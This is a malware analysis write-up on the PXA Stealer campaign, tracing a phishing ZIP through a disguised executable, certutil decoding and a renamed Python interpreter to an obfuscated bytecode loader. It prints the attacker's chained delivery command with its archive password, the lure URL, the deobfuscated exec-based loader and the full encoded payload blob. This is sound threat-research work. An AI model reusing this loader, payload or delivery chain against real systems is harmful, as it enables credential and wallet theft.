A deep dive into the PXA Stealer
Executive Summary
I recently analyzed a malware campaign employing a “Bring Your Own Interpreter” (BYOI) technique to bypass static detection using Python bytecode. The attack utilizes a archive to drop a legitimate, renamed Python 3.10 interpreter alongside a heavily obfuscated malicious script that contains bytecode. I discovered a unique obfuscation packer sold on social media platforms, designed to break standard decompilation tools by inflating bytecode size and inserting junk control flows. The final payload acts as an infostealer, PXA stealer to be more precise, targeting browser data and cryptocurrency wallets, with exfiltration via Telegram.
Initial access: The phishing lure
The infection begins with a phishing email containing a very large ZIP archive (132M). The bait pretends to be a legal or investigation document, specifically named Evidence contained in the investigation dossier.zip. The file is downloaded from hxxps://tr.ee/JQt3ks which was resolving at the time to https://pa.alliedworld.co.za/dowload.php?id=e5f53b7c3b.
Once decompressed, the archive creates many files on the system but most of them are hidden. Only Evidence contained in the investigation dossier.exe is visible.
We can notice that the Evidence contained in the investigation dossier file is an EXE file with the Word thumbnail.
We notice the - directory, that is hidden too. Inside of the directory, we can see the following files:
Stage 1, the fake Word document
Our first payload is the “Word Document” which is a C++ executable:
Dynamic analysis
Following the execution of our disguised C++ executable, a legitimate Word Document will open:
Upon the execution, the malicious executable is relying on the Microsoft signed DLL, so my guess is the attacker wanted the program to run on any Windows Machine without errors.
Following the detonation, a cmd.exe is spawned with a bunch of chained commands:
cmd /c cd - && start Google-Ads-Playbook.docx && certutil -decode "DA 성형외과 재무 보고서.pdf" Invoice.pdf && "부가가치세 영수증.jpg" x -ibck -y -piJbcsRBR84uUl9USIhj09PH0elalyHPJ Invoice.pdf C:\\Users\\Public && del /s /q Invoice.pdf && del /s /q "부가가치세 영수증.jpg" && del /s /q "증거 보고서 - DA 성형외과.docx" && cd C:\\Users\\Public\\Windows && start svchost.exe DLLs\\py.ico MRB_2_NEW_VER_BOT && exit
start Google-Ads-Playbook.docx: starts Google-Ads-Playbook.docx, a real legitimate Word documentcertutil -decode "DA 성형외과 재무 보고서.pdf" Invoice.pdf: decode the fileDA 성형외과 재무 보고서.pdffrom the base64 intoInvoice.pdf"부가가치세 영수증.jpg" x -ibck -y -piJbcsRBR84uUl9USIhj09PH0elalyHPJ Invoice.pdf C:\\Users\\Public:부가가치세 영수증.jpgis the WinRAR executable and it decompressInvoice.pdfwith a password inside theC:\\Users\\Publicfolderdel /s /q Invoice.pdf,del /s /q "부가가치세 영수증.jpg",del /s /q "증거 보고서 - DA 성형외과.docx": delete all these filescd C:\\Users\\Public\\Windows: Go to this directorystart svchost.exe DLLs\\py.ico MRB_2_NEW_VER_BOT: startsvchost.exewhich is the Python interpreter and execute thepy.icosource file with the argumentMRB_2_NEW_VER_BOT
The different files inside the - directory are only used during this stage of the infection. It leads us to the second stage of the delivery: the RAR file.
Stage 2, certutil.exe
The legitimate binary certutil.exe is used to convert a base64 certificate into a binary file. In this case, it decodes the file DA 성형외과 재무 보고서.pdf from the base64 into Invoice.pdf. DA 성형외과 재무 보고서.pdf look like this:
We can convert it from the base64 in Cyberchef:
Once converted from the base64, it’s decompressed with the password iJbcsRBR84uUl9USIhj09PH0elalyHPJ inside the C:\Users\Public directory:
"부가가치세 영수증.jpg" x -ibck -y -piJbcsRBR84uUl9USIhj09PH0elalyHPJ Invoice.pdf C:\\Users\\Public
This extracts several Python dependencies, including a legitimate Python 3.10 interpreter renamed svchost.exe and a malicious Python script named py.ico.
Inside of this directory, we can see legitimate DLLs and the Python 3.10 interpreter renamed svchost.exe:
The details on the Python interpreter:
Stage 3, payload analysis of svchost.exe the snake
Following the infection chain, the next command is the payload detonation:
start svchost.exe DLLs\\py.ico MRB_2_NEW_VER_BOT && exit
Which execute the Python file py.ico with the argument MRB_2_NEW_VER_BOT.
The file was not flagged as malicious during the analysis.
The analysis leads us to the py.ico file which look like this (yes I know it’s disgusting…):
My first reflex was to replace the exec by print to see what would have been executed, but I got a little surprise:
A quick parenthesis on the .pyc
Inside the py.ico file lies a Python 3.10 bytecode, which can be executed only with a Python 3.10 interpreter.
Deobfuscation and what the zip this script is doing
We can break the python script into different parts to be more understandable:
And once deobfuscated, we can grab the original imports:
"""marshal"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([(24^123),(246^158),0b1110010])](_[1]) for _ in sorted([((1<<2)+(1<<1),((0x6c)^0)+0*1),((1<<1)+(1<<0),((0x73)^0)+0*1),((1<<1),((0x72)^0)+0*1),((1<<2)+(1<<0),((0x61)^0)+0*1),(0,((0x6d)^0)+0*1),((1<<0),((0x61)^0)+0*1),((1<<2),((0x68)^0)+0*1)]))
"""zlib"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([0x63,(11+93),(230^148)])](_[1])for _ in sorted([((1<<1)+(1<<0),((0x62)^0)+0*1),(0,((0x7a)^0)+0*1),((1<<0),((0x6c)^0)+0*1),((1<<1),((0x69)^0)+0*1)]))
"""decompress"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([(76^47),(71+33),0b1110010])](_[1]) for _ in sorted([((1<<2),((0x6d)^0)+0*1),((1<<2)+(1<<1),((0x72)^0)+0*1),((1<<0),((0x65)^0)+0*1),((1<<2)+(1<<0),((0x70)^0)+0*1),(0,((0x64)^0)+0*1),((1<<3)+(1<<0),((0x73)^0)+0*1),((1<<1)+(1<<0),((0x6f)^0)+0*1),((1<<1),((0x63)^0)+0*1),((1<<2)+(1<<1)+(1<<0),((0x65)^0)+0*1),((1<<3),((0x73)^0)+0*1)]))
"""loads"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([0x63,(83^59),((57<<1)+0)])](_[1]) for _ in sorted([((1<<1),((0x61)^0)+0*1),((1<<0),((0x6f)^0)+0*1),((1<<2),((0x73)^0)+0*1),(0,((0x6c)^0)+0*1),((1<<1)+(1<<0),((0x64)^0)+0*1)]))
"""base85decode"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([((49<<1)+1),(247^159),0x72])](_[1]) for _ in sorted([((1<<2)+(1<<1),((0x6f)^0)+0*1),((1<<1)+(1<<0),((0x64)^0)+0*1),((1<<0),((0x38)^0)+0*1),((1<<1),((0x35)^0)+0*1),((1<<3),((0x65)^0)+0*1),((1<<2)+(1<<0),((0x63)^0)+0*1),((1<<2),((0x65)^0)+0*1),((1<<2)+(1<<1)+(1<<0),((0x64)^0)+0*1),(0,((0x62)^0)+0*1)]))
"""base64"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([0x63,0b1101000,(232^154)])](_[1]) for _ in sorted([((1<<1),((0x73)^0)+0*1),((1<<2)+(1<<0),((0x34)^0)+0*1),(0,((0x62)^0)+0*1),((1<<1)+(1<<0),((0x65)^0)+0*1),((1<<0),((0x61)^0)+0*1),((1<<2),((0x36)^0)+0*1)]))
"""bz2"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([0x63,0b1101000,(137^251)])](_[1]) for _ in sorted([((1<<0),((0x7a)^0)+0*1),(0,((0x62)^0)+0*1),((1<<1),((0x32)^0)+0*1)]))
Which gives us in the end;
exec(getattr(__import__(marshall),loads)(getattr(__import__(zlib),decompress)(getattr(__import__(bz2),decompress)(getattr(__import__(base64),b85decode)(b'LRx4!F+o`-Q(0T(^{W7Paex2+|NsC0|NsC0|NsC0|NsC0|N..........."
Here is a simple script that decode the bytecode and take it back to a .pyc file :
Normally, Python doesn’t execute your source code (.py) directly line-by-line. Instead:
- It compiles your readable code into bytecode (a low-level set of instructions that the Python Virtual Machine understands).
- These instructions are often saved in a
.pycfile (inside the__pycache__folder) to speed up future launches. - The Python Virtual Machine reads these instructions (
LOAD_NAME,POP_TOP,Binary_ADD) and executes them.
import marshal, zlib, bz2, base64
import importlib, dis
# decode and decompress
code_bytes = zlib.decompress(bz2.decompress(base64.b85decode(b"LRx4!F+o`-Q(0T(^{W7Paex2+|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsBs7XH0GG@8Ax?A_bj;Jx?VcWvFyyS07I?R#ynd^^$QZI`=o_g@U}y{oUi-c{~4O6>SSyWd*9-uQQ3-!<XhyWL|>Dk-Lj%?6B<YH5OGo-~-$(^E9YQwgRN^k5O{WH6qQfTq!kZ5m=QfYkjY@FpfrJyY})@@b-NqG_g>O{Rckn@thu)Y$~uk3fSY*r61JG70H4^*sifOqyb5LSQ2yqfaK0rkI*yX|xkfQ~gaaO{B#$DsL&_GB$=&000_H0(t{NWXY;~6Cs4tQ(#JL42GI$(^T_A6$qqFN2%m!Q`6MUk(1I-OloP9XbGm9Qa@7@CV<n>$O(-yOeWJMKh#FkOqxxk$a<67rrIVZhp5SuDTb${^z|`J&^=6ynKUNJJSLN5$k0zsCYXUzCWcHxdL{ujfN7?UG6n@bG)<7vph@Iln2ZXagvn3BFa(&@H>L@c)bmCrnN#sigv7~;dNiJfQ_4I5RQyw6G@759YL8RRMw7(RLM06WJqhTilLJ)DRQ8%Qnl(J9k&^<L(<W&cC!#dTrqpU@sisXbYIuOrpqhGWdTM%U=%X}gqacq^@F;$XqbZu6f@Y>=H1$1CQzOvSc^ZwAO&}tYBAAUMKxoj~ngO*9s2QlpGH5b1dW|&DVm&9Q0C_<4OeRK8P+}gTqfIgfk5FhHrqlpwlT82s0D6FAGyu>8#<guq%bD%+MDe>fX3@aNEq~p=gxDd&S6-Uh=VWkXlaXPD1BOvrTLP;5pkk;GU}<JFr^KnB4o)*Xc25ngE|VinGPUmJQ_VxJrUbtkKQeiCJX8++oJ`SRpu&xnzpO0R&SUIzHGV9er{s3OxqlAuGK;rzJa^=RI^mDYW_o=M?OCvj+3rsyF#m_BmTP~43hs?hKcU#QY=fpSv3J3Gr$_V07zOi9V5m_<pA}NCo{?X9KcxHyCJ<e8ZGLy5sV%(dRw!Ck2uW$}GZx83Gn5L1;hA;rFJu3%lbmCQJcE<)0Nxf@E(Pl|+RjLNr3ma2{LIn}`Td(t&11I0WrT%phD*-6e}P*Y#Cg@QUCT~F(VdZ<95-GE>|#xY_q73ax6cR{YnF2yo#jlpZLwd+g%lKx)oMd=Ebtu%_#$K0a|VQ%lVa*~8&Qmb#tIOQ%&3q6s&JV)VyN~Zw9vrBR`;;;R!}I&DyG8&JOiH?dO*^RMVYCP82>8G6F&&6D$vI43V7SzZ>1AaVSJ<g^>eqmBwOIuUx4|AC~?h_>l#ddxyu*pV#SH|X#(cWP9eE~VYD89A(tZ@?%v%?K`LF*hGMfQp$gQufibY4+6DjsIBWli31BJ{1^D3d^QnqUac)<8!B7KZWhx#A<YRD+c-4}jUVB{$U2r^F1)WP|>B=(j&+Y;GaA1R(#yv0fY%f8%^_Kzw$lhuD1hWQMhd3?kJyBe*bXt6L|045jq%1>$FS6!oFLAcr-vA5xx!%%Hl!aP$_lBd_wqn>b{@T-_)3_6+{?-|9<ob2I7&?VoyQ{Kr&wBb!Q_(Si*fjc};H>5QZQ$)<8Scj78&hL&vw9$#-ruoPl5o_FNDz{18IL%~$5^cPewY=P*sF3FNNHgRYycJU>-lzjERs<`6=xDqAKl}kwP04OMG@=E)dAWpSUO`fZVNB32VY3<@%dfqtk*sDE&ATnc^LgB%%XU-Mga9YB-;(My^f`9GL4j6RL=vDv{3!+p`=sb{5L)qDHM1VE?Zzo`Lx6i5*Ru=1}rjcTh#?6EI4Cv|GI4O5NYoo?P`)orH9f~Erf4ZAzGA6A6A-$qEa~T3tkG_$Z@0I{`M==|K|~zQyYXKc6!U2G!}k+l$*ZfA0WZe-p{`E%8T4-Emc%}=-X?K)iYTE-=9uUH}nr;W=P`xgxf%g+ni(UFHUc1S%bkH2%4?+Zst#ZUtZu4-ELtowKJfU?__JEYwq4SpIps&lJWI%NPJ`_I<)NV9R`6#Q3;9LD-ud<PFWU@c+HY_wPp64&i|RS{1`@pQR1qFnpFa2t8E3C0c>2SL}0fP<kD|}+#QI!qCQe4qqAYozT{&UT<nI64$Y7_A>7n%cryG|_suZo88}X}7XlDz!2qnQp6v${=i*co5vtJUfxPBJOnTSNRuHd1L$vn1C-rTsa2!xa7t90W^>WL3;Hsbr;SylY{lEgjV>y%fp^od8!TNbit*=gJ?T=bL$0!uEy0l}QAHH<MpG01#Yh_R#7H_Kto876S88uW{aAdZvj0;`_gs|evzM|b2YfHjHR~xWkK3`AEuT1k6J_MJNJCjC-73wAyTIsYR1J2sYkRE$qC@D9>W--#a$`7BPs?fewgSa5<u#jnd=>F?uJB*kt7cx?IHE8IWK;Rh42e<*rctZiTRo&KHY>z__J8x4%(Oy=_#_KwwWvS-iebM=x>HxG2o4Y9+4w&nS8qv$?nYz4x3|%UzhX3OB?>lVcN{$Cu*C!Z(azQ+uhcX%JrD`3|Qo#TgFat!$vdv5&;XJD=Bf~jO!(%oYR25Y-&<Kuh1yxngLMSMogb0Fw9aJDF%?co<V38=49YwZ+l3f<(9wmM{a*U-aGf^g`riF;Oh^nh&3W9(c_ytrFXb}YfA`}n+h*bn=LI?;1(5MI?N)%KS^l!B@2pY<rvggdz5LKnA1{3iV314N++w5;o%!_X4zU$l+9(q=WC#ZpWEGerlMyZwWU9-2o!<B?@Ypp^r$lW@cnS<hU^Pf#D(8z17nbPb@XvctElxF3$maiB9eM%-3>l$aHkJYfcnY<>B(g2tM-qj*{Hj{<~UNcD5byES9#O~<yo=%snoFog4ucv@JGj49!JHjF~aAe56lw)Z4B1c}e(8<}o_kbINDWw-_Se>3UAbPmJ;=d-so2-7$aA{gb+^?*jqb(VtHw1>jR4a(I1YR*Mdv@A6z*WOrfc+1dyP(O0J2#*ET(aX=wP|~7)aqHL+dneaY3)gHLEEbGGM(kR>sfo-1zjhE4@{(9&=o4XGjXf!q~}GaRje>|R}m&uZhK$D{?Fi*I`y4mleQ~9X^c@>u_x5$lczp(M;sTds%X&qX>n>@9ZkQ3pAcATA|PAUu2SY9S%z?%nw>D+d!;Jfyx|6HAA@S&mt^c@6JSCs15cl}$(ZZq#$&MLYissa$L^Z2;Y<7KvAwMO%%incvCI;Nxo4}MFCYd3IE-F9n9VK2<>0D5Y5?uG7SQ|}L)=Gp$+beo^tDnBQ+w8*Zr0J}@P5TD;1dQSX;3aEg-Ty8{jrZ7PO0mZB<LJAk)S&aRrbj^0X@@babR&d```1OZn3-lB9rpgr=31l9!GA^W(fx;$wWWx<}0pRc%&==rMG!_<CY}<jtGc_uVg6hBfBkgoo1VG2ySaVv5o7H4Y2zIo_0zc*z8AYCf?5LnS=63RKb3s<H-0la=I(%tUF_bRPIP|+xm#z>}i08MYi#y0p1(HOSzi~a#~3-mK`_~bTX@o!)UN1kNOQRxnNAhEsbbgfavGp0Tr)(6MgXSJ-n_zl0e|ppqq;BpEgm*K{k^`s6pyeh-_5}$=FzEX=gtyqpbbsz`kSgoXeL=4AGK21t^;^&n?xs-@feROU55{_AE|IXQcP+`^esK)smuAAN-YiHS3brl!Tg4Z&{X*A=I9HfAM}v?<sPLIZ;|@FmGXZRSSnC0${JA8WiyQKJkf@ipR$WPokXkstMp8>eZ?t5VQVr&HmFsf;*=vYuIP;Wu=Pd%#tV5<;g--Zj5_m?NSN~8vg<>^xBOkQ(o2%9v^(|Bhuk@zRg4S@R90;r2CfV#P>VqGeN2q{{N`_$RO_3LFHO&S$YO^M!_m$ou1c+qZN!l-F^k?%Y?7Wpl440=fcUDBG#_axzq)*uht`|`psMO{IpMiwpw3%eW)`4hqDb!cqVV{$SvFNnxlbK2G8Eh7)aPB8%oTpo;0_TvGq5&b*~0>4fr~(8j%5D5L7sduCphOJzmsoLH)xKWQ?wF5>FlQ8q;LkN<UeVl@f`MYAr;2FW?3WZA%Dql)-X@3&?-6TB~qo2&;+u&!>jem5XL&uVL2U{P}Tn$S;-Q!M>a6eP5YnwIcyY^s1rFQmB3$ah8a-gTbV9Kj7iuc}S_?PUeq)eW{YR(>p8K-tBUuzsk6tKk7F`N!3k0>?YTTYkSp`oK+Qn1nMcrsp?Qp=gD5c0<=Rq(LPpV7bQfU239YkFpM98Fb~}{_4F+|ckbsh6Xa;*{Gf!<ixXCy`ReGA?>ur{M+<_{BV*YKxY5ukh!?Jga(Si>KI#0Wp0_*TKDZ1AaxJgMcy7xI&eyDmmfZjjhsd1zL{aWyyCLD1)0Mi2iu?!FVgpm0<01R(A5yw&`=oa~+-cRJW;^lEmqI1Dn*Z~w#9Som#=iMEQf)>z#OEOD4JN`*A^V7NcTIHxz}Of{BG(gmjZ_@s1v(JbiElVaW8f~6VZZJa{5r;$vdzk`L=F8i&<p-eMVOy;Yb$x^F%w8{1kx!19W;DgT-xsGlt9@ejdupx74FMCI;ngK>CBeoe_=`gP9}+JBRG~VgK{+Q-#q2mc}P{k8Xq-1vY8|w{eM<@k-3VXGCU3cH6{EH>)wdxLcyJ$i-DcGv9$uBQg)V0=8JysO{vY>pFBp@)dlNoT73N!UfXdE@Zr*W>4t1c?-xE{X<G6>5Bqx=iYTx6hT3NSE*NAi>|EuIDwtwnfvdq`L|Z;++U!2ZGKKEJ>bYvCWSh$z=*dmduA4ud)W_E%j<Mk{((w79n+#I-pYfDV^o*apjmu)5Nh^HDQ?r4qe6Y`fgAkE;mZ>&WQ&JR!i3;|x8b0r8qw4Tmr1we&s8Od22K1=K#*~Pdi#f?1-p&16>MJvqCTk~p$#fW=!&bA?<_9z5$w34Mmw^FL2!KEynh-=mmL?-pDKNnrnN9*AphO4)1BHb^P?`Z1MP&ehfha)%P;VD`1EcFdO$Nn(^|spzCqI-*#22rA6k)frY*DRi{Vgi7@C7W^o$X5}3aUzLfYU)V!{)1aJ@2RL@X-@WsnZBd5*t?Rnt3Fogv!GB4QE%TbGU||WUlLYOdAXO-_Pp73;>v_Y^p&5V>G?*d<15WdUxj5yc67XD{%ocAi%R()J&(lx_mB%e#<%GEkO98MgWHz;-R_B&UGig4x{?z*dh=O0dOa?+F>aR!7Z6#+#@U69R8MO98HNIvTGNdWu+OG4G1I{iXD=kvijuv>}Pmvn#kM11Dd~bTl2r}5CVRvFuQmg2nYapfXVkzZBGeB`y4&2Fgd?WnGKllynz>i5`k~n?l3JSl7@w5*XL6nwvZ508hx=pA0&UBUL#*EAfqEPae*a&WkOQCOm)C)&v1m4f2ePa3gFQAL1(&J6((f;%`%^b|G!MUifDyxSnr<5HGFKbCgdl`Jg0EfL!Huf<)CnlDZd0T-zpPZms8gaU*A|y3x`9EuL;A$$K+E{^1ZljNe-|OSsOPO6?`fFeRW?cK?ieNq@Vq*nT(g0!y$?TPR+@7HKRp{c34m)s*d}#e9O8@2-hnShC=Xc_nW{9T|z#gP!m}W;mWUd9>a6y9Sy%b2&V|ZEcpIYEWKvo&9vg>0bqrG7lruBtXjPPe+2c>_H@y=b)efR0hewT{8^SEReQcL+Q}a-ZG~f33Kv`G0_SRMD_fak*GNVTsvnlh^CzztXlz}vrsQ;f@UlI3%HbeVP?hbn@E;_8si&9NsFyN6Df{fq32uLjlI1?p^$RFIa@YJ-be`~6v6$}m4#-hab{~3SIVGp|K+<9cvP^Ou9)6#1Aj||r@5qmufHv>Zr6Bt}*{dZMyzS4Gh0s9Ndoe0_*!mrD1UU;Sxntv|)@)Fwr*R)cAXptTtHOGz{{}~_x!#G9pX9PL8gaX=D=#geKkFt<eMu;>-b$~NlP@{w;0C=Xt_Q=9?obX210&;FQ(im<ZaRt3`q1|($=SiCD9`_dMRpj;w`?=L8(-Mw6C9^TzzT-$JDsOa_PTYwx0`+%jyWor9ggg;7>bor--JF!1c_`njg~A|$+4v>ylnzX&GD*vvX^#BRojZ#@4|}r!Wt89#TtJPI!fKCJ4MwmRR!|8-h-UsF*@7$krmUdnh*7!H7@+f_H)5kw@iJKB&Rc-5d*&TCQx?QL%6gTi;~pTNPh1y_QWtv;URnP1$OgcgNX|x6K5?WwKGzfC3^`+N@Q(Dc<if1-mHG)OdD_YDJ>KH1`WnqeZ$O_oWXp3dG<to<`lzvU1J`!e+x9{16Jb@BBa1)=BVL};mhF%QROND(v8V0z%4d~eg9yDT^9}98@fC$=G4VkI{To?Xptj_yS4d_j2xP(!+#k7Yiu!oQvSoM)}nh@(0pPhVz6h7+btXjB0++VWhz`S1Vh~ma_w1mI}gMtCg&A7bs%Etw;b9o6hKf%&VT>}2Xz3d*fDMGf+87;*`+lAD1d;G0)irCU<FiGP$HlKLIqR-bWjM28aO}^N=O7kga87hLLh=Qa3H7&%x%@!3ESifb}d)C%ZqZgVp8t8Ws(da3;wyT5ZBk^eC-aQrYsgsH*Ywa795HNr3CaVE$>`-7cl@1@sVt(4~X|@C$yC^F!7<(ES{2~ZtWjDR^<uY6<cI4@*tc1I)Y~h(3BO4B@s@>PFK{{=;+*H`u>Ie?IdMVD`M3BWCGCP&s(fKrDscHbvbhi+kXT8K!DWQ`G&qYT=ND?EU~q9o9s1Y?n^V98vax3rtS~yyGnWzkIdNVxO`YzH>r3vDr`7@hqKhjehCfvC~zhAmyn~yskaxc(~2f-K;zKp|E3Sd#ei&w$oer3Qy`QRbiEQOmbJR4`@K>gERd>rBv2SBB5r#BkM*uKqumP%uE+$Te?y68o_8P72j8oecT8()?8k?j*oYVyz)@B2HV5+b96lE?ljrXoUn$nr*wpjV`{G~IFooaSY(9adJ-Y9rstYv*MTs#_LdP4sL1{*R8t0Ic)OHVw=0AAOz1DiOqDHJR(8H8JACEJ3%q^sVUdCR2mp}8xN*QR!bDF*WsV7uGQH3JgMhdFLi~-o1ehqhs@waTyQTt~*1;3N-TfO<D2i2TmXq6^4>o-NBe6SzD>!etH$7vfBR})gW7HK@>tytCzPem}DtLB=-$0xB&o%?Vs3}Wkp8U3eqCpe<$VMnZ-ySjxyk43(MF!=w-7F{6@34n#GCYzJo%Q82-0dF6+j5_0s?nRoSQze>k%qxSn<OiMMO(s%AAUeHfcoBK|?G)G2S~~LGbsYB*r2UdVL}A+0H4U!NdGxiHDQ#%wPS1`y-=U)EeZrFUBZ~2iV<onfe%8~#Xm8#l)7EjRV|R?Hd*T(HqhIii_Z|tDGAIfk7__Vx?PgS7*k9oRlskVl&y3-vh<Uw#6T=!pBpGgvEz(UCqf${MA)39^q?tK{>4-=j2h*UvjB1WqL-9AkNVv-hqoSeppN(7qPAKko4#wPa0Q(}tMxr^hPg?`B&Xz5X1W7*zrGb2C?VenV5O|Lyp-Or_9l+b;t>UBVs*5_}`E=cy)2{CN6IxLRX%qo(Hl!-*E*8d?_*Lf%na5PHyEnj5;yUE7s{WHsdy$hh35e{Ep&~8cr19S-!_128gg({c!@lfsSmkLu<l)f&oKAd~(uZq(L<BUG_Qwq6_%xlc#MgR2oWXucdj*abPTgdD%v#L?9x`+X;U;Z?u^(YfRGGpw{!1PtCo+UesBIUUI;{~`^#?YG@;@crg*aSek1xO9Z-opVnJ(CX5q-FX26gnRQaO~!Snb#nB5H(d%-YPM^CyY{ZRKpjFg#Gi8=C(J!VBokv~+yvbq~4D^==GDljZNUhHQ*&_Pgxt`7MOEy=Gd=yEC{!E@+K+7)E~X8+&P8QmOtwX?$Qpr@wO8z_k|@=2*K)yMXH+&XPd{83ZL!Qt7)|D)Uq_N4tW4WXc@Zy6B=WmIu7BYkz<b_dMP_y<qK~XiFJ?Z_wi^Mkv`+{D)-nAKBK}6e4ds#wfjPn5;knLPVe+)@G;2`J=Kt)E$LJI?oMF9SUW@egW$?+vPN{mMGORn?Ga8>U&4|zHp4A_?d!(Plw|+hDh=wP@H>wWq4_E-nn^XQJX8I&B8Ku*+f%t{oF$*lQBZ5ZEQ1lSYQcYuVQ&h3WF-3B2u8+Jr9nHm~!uT-wDNN%^yKhDSid*u}M^s@Mv2IHJfV;8n~DM2hl@NXIG&`*<rs~g!(^S&?G*Yurb%Uej^(^g0VtD*Ds5q<5IKW?5&rTRWtF^t&Jo<8%nOp<aAn`ioSyPO!hh;aA+IfbXbt&xTY{et~j3WL3Zmh^d2TkI6sDuyHxyYHcvWD1#znlUSy`yQmhOd0q=WWRyHumZFHf2kw}#=0)j9dikpvbduUZ_>3pu6>@RKALQF9bk6r{u^Mh;`?u(MOR)`=|jXN+DrR8D7M6ZY|Iqrp)vYns?$@72Bx!oT-R`<91w;)=HflC-o%Y*s&*JW;X4=hWLRuk}`xf2?NcqnOaAqN401_04vk;(B|ZZ47Eeh&U((=Q_DWn|y<^ak$@+b>_dV0O-0?P+zlE+Pmj2PX)Kh$b^?A|Qeoh9W?Mq8*$HqKL{A0T3pH6cqzC3aWsF&;klG!k_}sfKyEgK8p!4^Z2^%8*6~}EImy$vanL*jZj?Jp8IqmvPtW~6AI*RNcHv>kJ6Gx^ensnNJ^#p*?4`fQW02UeyG?cFoW|hmg>w}fE(Yaur^ns|MwL0@QuCF{U0Vgl-Ic#);qfZ>q1Rqrf%<K1>{#GRW`wlZ%V8z-P2ft;m|(el5<h{YN*Na>pqz)`?@qSPCU;S+jb<08yd2*h93eUrbPFuRfT;7RB;s;D!^HZ+fJec8c9-Z!}z&S@5~=;HZihMSdti%*R7D|Qo2Hb%3Mup3e_)bQ;Pe?bHxQDrMb6onC{ba)$Qh$<E-1agy|rQ*@n7{lYBTNrdviUIu7*Qw{GFHPScRdijmqMFcj8AJ<UhqJJlz?T6dtjegJ;3_yX1Yt{ragoy`gJ!=iWG(?t=Ng1}bjhw*}D64hO$EMk}5lnJYhZ)h2YiEawcE3P>W$!6Y3med#s<6w=+SaitA2u2rD`oo7eZ_2v_vFh9fS;kVpIlb?Pz-cJAJqpN8U5*B0(l?}I8>dCn85D*hQ-5|f#?g$xiWiw}hK5)1YdYl_v%XPX|1f=7nU=SM-5upkclRrVfjasO;~C`AZiIx`5opyDTRhcq`~DnN1hdGDYkE_>n(3->G)b1N)d_#x_Qr1XYh**XUWHNoIm%@t8A*~{1T$}qm*WZs3?1Hr=uvr9kvjw|%PWBymqCqpgv6%+O-{<);>J5bF5rMgOr92zrdrzdSE)op^mi5G@r`HAtf^Q#n(Whvphx*O!QBA@f!Hkr(9<Ue+I#+|AOn6gY^hA-&4NHMSEQT<DX|8l89>9er7@0Y-8H>`rxv_P>pOo@rEBG!mN|~2A#BClbF?nEjClRNBCnP4f9pka;XpZyBQ=wPtSLNT4Gy;cXeW1f#c8xoB(v&mkeYW8C;pf(6v7>Z*D|fx^b^=5V9t5M==hZUL5_v9?=CsOPCpiH@%SbX|C~M1==YMucPFVVvJ8v?i6^E7^I)Bxa>uqLomDC8gyrFIn|;#9o^7y3a_6PPPwe<ucLQsvz#k<}mmi_aZkGX2P1*!S1stxByjt=TPeBk+1fc+;pv?fN04}otB8ayr7psmAyF2*fc;D9j=6lq|OaZj$OKF})>rH~5xywmAdOFm=8-xW{?JQm7;q3i8_Ma`X_t>h6z2=)xW^Hl(&%4Cfdx_*hy~Jmz-6I>CdT%HfX>aZE_mGQZy|#LkZrE81qpl)~aSEZ}1X+$a<8yjWMBMkI`bF7&{+jp$Z~?2vL0;rIEq9E1+{OGaab(EzQ$?~)nLEdVS4{MwE-}{fpT1{*n=N!v-&Ha<(O3MZn&VGRae^Gd$Fnz3Ha!p*-#RLgRV~GyP_tR3mBg3T!F{=1X#A&;Mw+hgK+Yz$I9*AmV#f_<hooZdhikqn5MCx7i>)OwD)ru-ZMFjA%d5LI8zxJL{nJlT=Qc(yn~-*2Fc8X8p>8zp-Wm)EeYFAjp&g$QGmMdbdf_6<wqxhkAG#@PT_skfgOLIbMe<oS&C`cb@`B+2KMreW*V9bq!C62%NcpI20Y{fDr+f4(@b&VMT|_B^SbKt=kKuP!6i^I$vLqnkq<b(}+qwNOOO(-!5wySSbX4BByCo21Y|7l>iC{ny@sy|m3^mj|g5p)nhU$=w=sgciJ2rzEJ(U8FB~m-DR%ESw3$E0a`}k+LjfRWw95&h#ddMQKc({D3K6Fg^=5@3vIj)i*!fC=(1_1~F1ON>@2#5=Efki=VbN#G2*qs6;0RtsfK`{`Dsxp8@0f<FJK%M~wR7V?CQIx^tZ=6QsOPIPy3(v2LvgLZ}+(l<k*<5BaRdtuG@4&RA=SWYc7ks|Sd75^@q5^OZOG$*Ur^D0U>uvt59$y`=X7yVa0g|~soWX9ZnkqwsuW@7z0-%mR%-v|)o8x!Tr8n-XA48N%^q`3B`$hu1tD$A^R4{a7dffTLzNM;>o^3y4&1&L&8jTuL|KC1Mj${-%fDI~`$GbHO6IWKgrS816g~P}#RVmvr6f*{bFlY|P*i!|FP`P`A8*iG_R%9IJFwA3uRtrXZlutd@=>L8pqGdkvJW0&ib1ssF;AwT{puDF9MTYBvG&hLg1OaXfeYCZ0F8cpX0iea2jJ&WT?4>WOWh4-wr@YR1VgfdmHWw_*qeC3V39eGo_dY7OgNSo>8qOf~@tXB0#svO2yNpQ%X_CU@_@lO9BKcK9q!R{&LP)Uy+L*n#ptZWIX%#+t?oyboWP}0`sb#)n)`DbX#^#_DuL@K>IodpuRiNqu&CY3fETfJ<Av1U^V#4qe!SciS94O<Gq==uxc^$x<-=ING9+1bI-o%={Y@J!UbZ}Zto%M`R(o%LyoRJ?&0mn`cD{;*RytA?~z%W*_Ol@Zt$<BccQP?kMMqtFl-BkmQ&_)o{E+u_i4QZgQjVb~Hig{q~J|gIc3ZWen@lC`*nW;(@aMB!*xdj?e7o*4|J>v;`C>iq$u4@$P_1-IdHqnd%NR=owbrfW8q_h%=PkOr8NTL^l+gP060(&6GNrb8&8SPWf6SZ*dux9^Esd>ZjsQi4?{}bq8MVV_}LwU_fg|s(khz+`DvdS}=1L(G&t~E<yX9{VOpS9lpOl=jf9Vk(%t5Edza1CY79X>bEQ>w*Sjpxg~4~=&N53qQ*;YjQpfM5Jw$rRy2L2sAVtN")))
# load a marshal object
code = marshal.loads(code_bytes)
# put it in a .pyc file
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)
# write the .pyc on the disk
with open("stage4.pyc", "wb") as f:
f.write(pyc_data)
We can now verify that the file written on the disk is a real .pyc:
